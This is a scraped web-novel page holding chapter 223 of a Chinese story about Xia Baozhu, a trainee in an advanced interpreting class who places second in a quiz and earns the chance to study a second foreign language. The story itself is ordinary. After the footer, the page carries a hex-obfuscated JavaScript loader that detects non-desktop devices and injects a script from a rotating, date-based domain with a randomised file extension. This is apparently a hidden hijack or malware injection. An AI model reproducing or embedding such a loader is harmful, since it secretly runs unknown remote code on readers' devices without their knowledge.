返回第223章 全员进化  半木半火首页

关灯 护眼     字体:

上一章 目录 下一章

教室里落针可闻。

没人开口包括贺喜,他早就停笔了,被这戏剧化的一幕镇住了。

在座的都是和外事工作搭边的,没人会犟着说外语水平不重要,自欺欺人也要有个度。

不重要他们放下工作来高翻班?不重要他们在单位抢破头争名额?

他们和隔壁班的翻译干部不一样,大多掌握的都是哑巴外语,能张口沟通在单位已经属于及格线上了,来高翻班就是为了彻底张口。

毕竟这年头无论是出国管理科还是联络科情报科,读写就够了,饶是翻译资料科的王琰,他的机械工业外语知识储备量极大,但也没什么张口的机会。

正因为这样,当这种差距摆在面前,就有些血淋淋了。

咱们不都是来进步的?你俩咋回事。

他们其中的大多数能接受梁丝音流利的口语,但当他们发现夏宝珠的口语是陈海宁那一卦的时候,他们很愤懑,凭什么?

他们本身是有优越感的,私下早将夏宝珠的高中学历传遍了。

哪怕知道她在世科会做了贡献,他们也只想承认这位小同志脑子确实活络,要不能来部委?

但在专业上,高中生肯定是差了些的,至于课堂上她的英文发言?害,就那么几回,年轻人努力呗!

他们的想法夏宝珠心里自是有数的,人非圣贤,这年头的大学生也确实称得上天之骄子,有抖的资格。

她此刻很羡慕梁丝音,尴尬蔓延中,她的精神状态依旧淡淡的。

夏宝珠给潘高峰使了个眼色,老哥,馊主意是你出的,售后呀!

没等潘高峰有所行动,她的两个姐妹就充当气氛组开始带头鼓掌,沉默瞬间消散。

贺喜将这些学员们的神色尽收眼底,他笑着合上笔记表总结道:“感谢双方辩手带来的精彩思辨,同志们,这场辩论没有胜负,它深刻地反映了”

辩论会进行了一个多小时,往常到了九点多晚自习就陆续散人了,回宿舍学不学看自己的安排。

今天隔壁教室都落锁了,机械工业高翻班还在全员埋头学习,夏宝珠冲着高雅雅和展眉笑“噗嗤噗嗤”了两声,“走?”

谁知人家俩果断拒绝了。

夏宝珠:“”

刺激过头了。

来了学校就别想每天洗澡了,学校澡堂是每周一三五七开门,她们都是中午去洗澡。

所以她每天九点下了晚自习回去洗漱后,喜欢趴\/躺床上继续看书,有种边休息边学习的松弛感,结果现在她舍友被卷到了,不回宿舍了。

夏宝珠和梁丝音的眼神莫名其妙对上,很默契地搭伴儿溜了。

接下来的半个月,她丝毫不敢松懈,实在是班上都学癫了,她算是搬起石头砸自己的脚,小考想拿名次的难度猛增。

期间还发生了件和外事密切相关的事情,北二外在总理的倡议下于十月下旬正式建校了。

中法建交后总理敏锐地洞察到外语外事人才培养的紧迫性,在他的关怀备至下,北二外直接实现了当年筹备、当年招生、当年开课。

教学模式是时下罕见的“听说领先,读写跟上”,相当重实践了。

可以说只要培养出来就是要上一线战场的。

小考日如期到来,笔试部分包括段落改写、笔译和综合知识测试。

所谓段落改写,就是学员拿到一段机械制造工艺的英文描述后,用三种句式和词汇改写,不能和原文重复,这考察的是灵活运用语言的能力。

口试就有些超纲了,不管是复述、视译还是即兴演讲,都是隔壁班小考的模式。

果不其然,一见面高雅雅就是一副被打击狠了的样子,“我怎么感觉我这半个月白白头悬梁锥刺股了?复述的那段咱们课堂上没讲过吧?我只知道是关于技术改造会议的。”

夏宝珠摊手,“我的是关于内燃机效率提升的微型讲座,题目都是随机的。”

“哎!挫败啊。”

“你想想为啥要进修一年?要是你学两个月就能轻松应对考试,那你不就出师啦?这考试难度就是为了让咱自省。”

“小夏,你也不会啊?”

夏宝珠额了声,谦虚谨慎道:“我还成?”

她进外事司的考试就是这种模式,所以她心理上有准备,学习过程有意无意也是顺着这个逻辑来的,确实占便宜啦。

等成绩出来后,她妥妥地收获了高雅雅的白眼,她阴阳怪气地给展眉笑复述,“我还成~~~结果她得了第二名!”

夏宝珠得了第二就满足了,她向来擅长放过自己。

然而第一居然不是梁丝音!

是李综科,她对这位唯一的印象就是天命理科人。

人家不显山不露水拿第一,就显得她和梁丝音有些显眼包了。

比她更不能释怀的是展眉笑,当天晚上她都要睡着了,展眉笑趴她耳边冷不丁放狠话,“小夏,我不管!下次你拿第一!

真是的,那群男人倒是抖起来了,说李综科就是随便学学,显得他比咱厉害八百倍似的,不舒服!”

夏宝珠死鱼眼,“你要再说下去,我现在就不舒服了!睡!”

等她拿着投名状找贺喜的时候,她忍不住八卦了,“贺老师,李综科的专业考试是满分,英语水平也不错,听三机部的同志说他还是研究生啊?那他来高翻班是?”

贺喜意味深长地笑了笑,“他是来进修外事课程的。”

夏宝珠茫然,这玩意儿不是捎带手的事儿?还需要学一年啊。

随即她福至心灵,专门丢高翻班学外事课程,这不就是磨练心性?

或许是在外事工作上犯错了但因为能力足够强,组织还是想启用他的,于是将他丢回校园回炉重造,坐坐冷板凳?

打破砂锅问到底就不合适了,她适时地转移话题,“贺老师,我还是想学法语,您能提供些教材么?我可以自学。”

贺喜似乎提前考虑过这事儿了,他爽快地应下,“这事情已经有章法了。”

翌日早上,他就在班里宣布道:“同志们,以后咱们班的小考前三名可以选修二外,我和隔壁班良老师精通的法语、波兰语、俄语都在选择范围内。

选修二外的同志若是之后的小考退步超过五名就暂时将二外放一放,李综科、夏宝珠、梁丝音你们三位可以考虑了。”

小夏翻译员替他翻译:你们就拼死拼活学吧!

她感觉贺喜也进化了,学个二外还整上淘汰机制了。

👉&128073; 当前浏览器转码失败:请退出“阅读模式”显示完整内容,返回“原网页”。

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");